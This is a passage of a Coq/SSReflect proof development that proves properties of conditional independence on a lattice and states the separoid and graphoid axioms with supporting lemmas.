apply:join_bot_bot=>//. apply:join_bot_bot=>//. -move=>H. split. apply:co_w_u=>//. apply: (@M_l x y z w)=>//. Qed. Corollary co_con x y z:x!=bot -> y!=bot -> z!=bot -> meet x y = bot -> meet x z = bot -> meet y z = bot->((co_ind x y z /\ ind x z)<->ind x (join y z)). Proof. move=>X Y Z A B C. split. move=>[Ha Hb]. rewrite ind_eq=>//. apply ind_eq in Hb=>//. apply co_sym in Ha=>//. apply co_ind_eq_2 in Ha=>//. rewrite Hb in Ha. rewrite (join_commutative y x) -join_associative in Ha. rewrite Ha. apply/eqP. rewrite eq_sym. apply/eqP. rewrite[in RHS] dotrC (dotrC (up x) (up z)) dotrA. rewrite dotrC -div_up_down. rewrite -dotrA dotrC up_down_unitL bob_unitL -div_up_down=>//. rewrite -mix_up_down=>//. apply:join_bot_bot=>//. move=>H. move:(H)=>H'. split. apply ind_eq in H=>//. rewrite co_ind_eq_2=>//. rewrite -join_associative H. rewrite[in RHS]dotrC. rewrite -div_up_down. rewrite -dotrA (dotrC (up x) _). rewrite up_down_unitL bob_unitL. rewrite/ind in H'. apply (@M_law x (join y z) bot x z) in H'. rewrite meet_idempotent in H'. rewrite meet_commutative join_commutative join_absorption in H'. rewrite/co_ind in H'. rewrite join_commutative join_bot_unitL in H'. rewrite H'=>//. rewrite meet_distributive. rewrite A B join_bot=>//. rewrite meet_idempotent=>//. rewrite meet_commutative join_commutative join_absorption=>//. apply:join_bot_bot=>//. apply (@M_law x (join y z) bot x z) in H'. rewrite meet_idempotent in H'. rewrite meet_commutative join_commutative join_absorption in H'. rewrite/ind=>//. rewrite meet_distributive. rewrite A B join_bot=>//. rewrite meet_idempotent=>//. rewrite meet_commutative join_commutative join_absorption=>//. Qed. Theorem co_inter x y z w:x!=bot -> y!=bot -> z!=bot -> w!=bot->meet x (com z)!=bot-> meet x y = bot -> meet x z = bot -> meet x w = bot -> meet y z = bot -> meet y w = bot -> meet w z = bot -> (co_ind x (join y z) w <-> (co_ind x y (join z w)/\co_ind x z (join y w))). Proof. move=>X Y Z W XZ A B C D E F. split. -move=>H. apply:conj. apply:co_w_u=>//. rewrite join_commutative in H;apply:co_w_u=>//. by rewrite meet_commutative. by rewrite meet_commutative. by rewrite meet_commutative. -move=>[HA HB]. move:(HA)(HB)=>Ha Hb. move/co_ind_eq_2 in Ha=>//; move/co_ind_eq_2 in Hb=>//. rewrite dotrC in Ha; rewrite dotrC in Hb. rewrite (join_associative y _ _) (join_commutative y z) -(join_associative z _ _)in Ha. apply div_up_down in Ha=>//;apply div_up_down in Hb=>//. rewrite -join_associative (join_associative y z w) (join_commutative y z) (join_associative x _ w) (join_associative x z y) -join_associative in Ha. rewrite Ha in Hb. ---have Hm: mix x (join z w)=mix x w. rewrite join_commutative. apply:N_law1'=>//. split;first by[]. split;last by[]. rewrite join_commutative Hb. move: (excluded_middle_axiom (ge (join y w) x)); case=>Hyw. rewrite ctext2=>//. by rewrite bot_minimum. move/negP in Hyw. rewrite ctext3=>//. by rewrite -meet_eq_ge meet_distributive meet_distributive meet_commutative B meet_commutative D meet_commutative F join_bot_unitL join_bot_unitL. apply div_up_down in Ha. rewrite dotrC Hm in Ha. rewrite co_ind_eq_2=>//. by rewrite (join_commutative y z) -join_associative -join_associative join_associative. by apply:join_bot_bot. Qed. End conditional_independence. Section separoid. Parameter sep:L -> L -> L -> bool. Axiom sep_id :forall x y, sep x y x. Axiom sep_co : forall x y z, sep x y z -> sep y x z. Axiom sep_decomp : forall x y z w, sep x y z -> ge y w -> sep x w z. Axiom sep_w_u : forall x y z w, sep x y z -> ge y w -> sep x y (join z w). Axiom sep_contr : forall x y z w, sep x y z -> sep x w (join y z) -> sep x (join y w) z. Axiom sep_strong : forall x y z w, ge y z -> ge y w -> sep x y z -> sep x y w -> sep x y (meet z w). Lemma sep_idL x y: sep x y y. Proof. apply:sep_co. by apply:sep_id. Qed. (* Lemma sep_xx x y: sep x x y -> sep x (join x y) y. Proof. move:(@sep_idL x y). move=>Ha Hb ;move:Ha Hb. move:(@sep_contr x y y x)=>H. by rewrite join_idempotent join_commutative in H. Qed. *) Lemma ge_sep_eq x y: ge y x -> sep x x y. Proof. (*move: (sep_idL x y).*) apply:sep_decomp. by apply:sep_idL. Qed. Proposition ge_sep_1 x y z: ge z y -> sep x y z. Proof. move:(@sep_idL x z). apply:(@sep_decomp x z z y). Qed. Proposition ge_sep_2 x y z: x!=bot -> ge z x -> sep x y z. Proof. move=>H h. apply sep_co. by apply:(@ge_sep_1 y x z). Qed. Lemma sep_de x y z w: sep x (join y w) z -> sep x y z. Proof. move=>H. move:H (@join_ge y w). apply:(@sep_decomp x (join y w) z y). Qed. Lemma sep_join x y z:sep x y z -> sep x (join y z) z. Proof. move=>H. move:(sep_idL x z)=>Ha. rewrite -(@join_idempotent z) in H. rewrite join_commutative. apply:sep_contr=>//. Qed. Lemma sep_join' x y z:sep x y z -> sep x y (join y z). Proof. move=>H. rewrite join_commutative. apply:(@sep_w_u x y z y)=>//. by rewrite ge_reflexive. Qed. Lemma sep_join'2 x y z:sep x y z -> sep x y (join x z). Proof. move=>H. apply:sep_co. apply:sep_join'. by apply sep_co. Qed. Lemma sep_join'3 x y z:sep x y z -> sep x y (join x (join y z)). Proof. move=>H. move:(sep_join' H)=>H'. apply:sep_join'2=>//. Qed. Theorem M_law_sep x y z a b: (meet x y)=bot ->(meet x a)!=bot ->(meet y b)!=bot -> sep x y z ->sep (meet x a) (meet y b) z. Proof. move=>H1 H2 H3 H. rewrite(@sep_decomp (meet x a) y z (meet y b))=>//. rewrite sep_co=>//. rewrite (@sep_decomp y x z (meet x a))=>//. rewrite sep_co=>//. by apply meet_ge. by apply meet_ge. Qed. Proposition mar_sep x1 x2 x3 x4 x5: sep x3 x1 x2 -> sep x4 (join x1 x2) x3 -> sep x5 (join (join x1 x2) x3) x4 -> sep x3 (join x1 x5) (join x2 x4). Proof. move=>Ha Hb Hc. move:(Hc)=>Hc'. apply (@sep_w_u x5 (join (join x1 x2) x3) x4 x2) in Hc'. rewrite (join_commutative x4 _) join_commutative in Hc'. apply sep_de in Hc'. rewrite join_commutative sep_contr=>//. rewrite sep_co=>//. -rewrite join_commutative -join_associative. rewrite sep_co=>//. rewrite(@sep_decomp x1 (join x3 (join x4 x5)) (join x2 (join x4 x5)) x3)=>//. rewrite sep_w_u=>//. rewrite sep_contr=>//. rewrite sep_co=>//. rewrite sep_contr=>//. -move:(Hb)=>Hb'. apply(@sep_w_u x4 (join x1 x2) x3 x2) in Hb'. rewrite sep_co=>//. rewrite (@sep_decomp x4 (join x1 x2) (join x3 x2) x1)=>//. rewrite join_ge=>//. rewrite join_commutative join_ge=>//. -rewrite sep_co=>//. move:(Hc)=>HC. rewrite -join_associative in HC. apply(@sep_w_u x5 (join x1 (join x2 x3)) x4 (join x2 x3)) in HC. rewrite (@sep_decomp x5 (join x1 (join x2 x3)) (join x4 (join x3 x2)) x1)=>//. rewrite (join_commutative x3 _)=>//. rewrite join_ge=>//. rewrite join_commutative join_ge=>//. rewrite join_commutative join_ge=>//. rewrite join_ge=>//. rewrite (join_commutative x1 _) -join_associative join_ge=>//. Qed. (*conditional independence => separoid*) Theorem co_id x y:x!=bot -> co_ind x y x. Proof. move=>X. apply ge_co_2=>//. Print ge_co_2. by rewrite/le ge_reflexive. Qed. Theorem co_ind_sep x y z w:x!=bot -> y!=bot -> z!=bot -> w!=bot -> meet x y = bot -> meet x z = bot -> meet x w = bot -> meet y z = bot -> meet y w = bot -> meet w z = bot -> (co_ind x y x /\ (co_ind x y z -> co_ind y x z) /\(co_ind x y z -> ge y w -> co_ind x w z) /\(co_ind x y z -> ge y w -> co_ind x y (join z w)) /\ (co_ind x y z -> co_ind x w (join y z) -> co_ind x (join y w) z) /\(ge y z -> ge y w -> co_ind x y z -> co_ind x y w -> co_ind x y (meet z w))). Proof. move=>X Y Z W A B C D E F. split. -by apply co_id. split. --by apply co_sym. split. ---move=>H H'. apply:(@co_decomp x y z x w)=>//. by rewrite ge_reflexive. split. ----move=>H H'. rewrite/ge/le in H'. move/eqP in H'. rewrite -H' in H. move/co_w_u in H=>//. rewrite join_commutative. apply:H=>//. by rewrite meet_commutative. split. -----move=>H1 H2. rewrite join_commutative. apply (@co_contr x w y z)=>//. by rewrite meet_commutative. by rewrite meet_commutative. ------rewrite/co_ind. move=>H1 H2 H H'. move:( H1)=>H3;move:(H2)=>H4. apply meet_ge' in H3;apply meet_ge' in H4. move/eqP in H1;move/eqP in H2. rewrite join_distributive H1 H2 meet_idempotent. rewrite H1 in H; rewrite H2 in H'. rewrite H in H'. rewrite H. by apply Th5. Qed. End separoid. Section graphoid. Parameter grap: L -> L -> L -> bool. Axiom grap_sym:forall x y z, grap x y z -> grap y x z. Axiom grap_decomp:forall x y z w, grap x (join y w) z -> grap x y z. Axiom grap_w_u:forall x y z w, grap x (join y z) w -> grap x y (join z w). Axiom grap_contr:forall x y z w, grap x y (join z w) /\ grap x z w -> grap x (join y z) w. Axiom grap_int:forall x y z w, grap x y (join z w) /\ grap x z (join y w) -> grap x (join y z) w.